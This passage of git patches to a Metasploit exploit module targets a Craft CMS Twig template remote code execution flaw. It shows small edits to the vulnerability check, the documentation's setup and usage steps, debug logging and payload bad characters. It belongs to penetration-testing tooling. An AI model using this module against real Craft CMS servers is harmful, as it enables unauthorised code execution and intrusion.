deletion(-) diff --git a/modules/exploits/linux/http/craftcms_ftp_template.rb b/modules/exploits/linux/http/craftcms_ftp_template.rb index 1348b7ff5823..ee5f5832b3a5 100644 --- a/modules/exploits/linux/http/craftcms_ftp_template.rb +++ b/modules/exploits/linux/http/craftcms_ftp_template.rb @@ -179,7 +179,7 @@ def check 'vars_get' => { '--configPath' => "/#{nonce}" } ) - if res&.body&.include?('mkdir()') && res&.body&.include?(nonce) + if res&.body&.include?('mkdir()') && res.body.include?(nonce) CheckCode::Vulnerable else CheckCode::Safe From 18be9fc101e034c67ecd4f42ac0d836c15b7b7e3 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 10 Jan 2025 11:45:40 -0800 Subject: [PATCH 5/6] Added suggestions from jvoisin --- .../modules/exploit/linux/http/craftcms_ftp_template.md | 8 ++------ lib/msf/core/exploit/remote/ftp_server.rb | 6 ------ 2 files changed, 2 insertions(+), 12 deletions(-) diff --git a/documentation/modules/exploit/linux/http/craftcms_ftp_template.md b/documentation/modules/exploit/linux/http/craftcms_ftp_template.md index e9c87832204f..71f5cc669960 100644 --- a/documentation/modules/exploit/linux/http/craftcms_ftp_template.md +++ b/documentation/modules/exploit/linux/http/craftcms_ftp_template.md @@ -1,10 +1,6 @@ ## Vulnerable Application -This Metasploit module exploits a Remote Code Execution vulnerability in **Craft CMS** versions that fall within the following ranges: - -- Versions `>= 5.0.0-RC1` and `< 5.5.2` -- Versions `>= 4.0.0-RC1` and `< 4.13.2` -- Versions `>= 3.0.0` and `< 3.9.14` +This Metasploit module exploits a Remote Code Execution vulnerability in **Craft CMS**. The vulnerability lies in improper handling of Twig templates, which can be exploited to inject and execute arbitrary PHP code on the server via crafted HTTP requests. @@ -30,7 +26,7 @@ Install a specific vulnerable version of Craft CMS: ```bash mkdir exploit-craft && \ cd exploit-craft && \ - # Configure DDEV project for Craft CMS + # Configure DDEV (https://ddev.com/) project for Craft CMS \ ddev config \ --project-type=craftcms \ --docroot=web \ diff --git a/lib/msf/core/exploit/remote/ftp_server.rb b/lib/msf/core/exploit/remote/ftp_server.rb index 648c05c126fa..caaaa1c1d975 100644 --- a/lib/msf/core/exploit/remote/ftp_server.rb +++ b/lib/msf/core/exploit/remote/ftp_server.rb @@ -74,9 +74,6 @@ def on_client_data(c) cmd,arg = data.strip.split(/\s+/, 2) arg ||= "" - # For testing purposes only - print_status("<- #{cmd} #{arg}") - return if not cmd # Allow per-command overrides @@ -84,9 +81,6 @@ def on_client_data(c) return self.send("on_client_command_#{cmd.downcase}", c, arg) end - # Also for testing purposes only - print_status("Received a command we don't have an override for: #{cmd}") - case cmd.upcase when 'USER' @state[c][:user] = arg From 2254a1f213b1cfd0b2bbfc152ab8f5269c4f5c41 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Wed, 15 Jan 2025 09:22:44 -0800 Subject: [PATCH 6/6] Responded to comments --- .../modules/exploit/linux/http/craftcms_ftp_template.md | 4 ++-- modules/exploits/linux/http/craftcms_ftp_template.rb | 3 +++ 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/linux/http/craftcms_ftp_template.md b/documentation/modules/exploit/linux/http/craftcms_ftp_template.md index 71f5cc669960..43ea42c8a3f5 100644 --- a/documentation/modules/exploit/linux/http/craftcms_ftp_template.md +++ b/documentation/modules/exploit/linux/http/craftcms_ftp_template.md @@ -19,7 +19,7 @@ to inject and execute arbitrary PHP code on the server via crafted HTTP requests To test this exploit, follow these steps to set up a vulnerable Craft CMS environment. -#### Non-Docker Setup +#### Docker Setup Install a specific vulnerable version of Craft CMS: @@ -67,7 +67,7 @@ ddev launch 1. Start the vulnerable Craft CMS instance using the steps above. 2. Launch `msfconsole`. -3. Use the module: `use exploit/multi/http/craftcms_twig_rce`. +3. Use the module: `use exploit/linux/http/craftcms_ftp_template`. 4. Set `RHOSTS` to the target Craft CMS instance. 5. Configure additional options (`TARGETURI`, `SSL`, etc.) as needed. 6. Execute the exploit with the `run` command. diff --git a/modules/exploits/linux/http/craftcms_ftp_template.rb b/modules/exploits/linux/http/craftcms_ftp_template.rb index ee5f5832b3a5..e52d9ab1225d 100644 --- a/modules/exploits/linux/http/craftcms_ftp_template.rb +++ b/modules/exploits/linux/http/craftcms_ftp_template.rb @@ -29,6 +29,9 @@ def initialize(info = {}) ['URL', 'https://github.com/Chocapikk/CVE-2024-56145'], ['URL', 'https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms'] ], + 'Payload' => { + 'BadChars' => "\x22\x27" # " and ' + }, 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => %w[unix linux],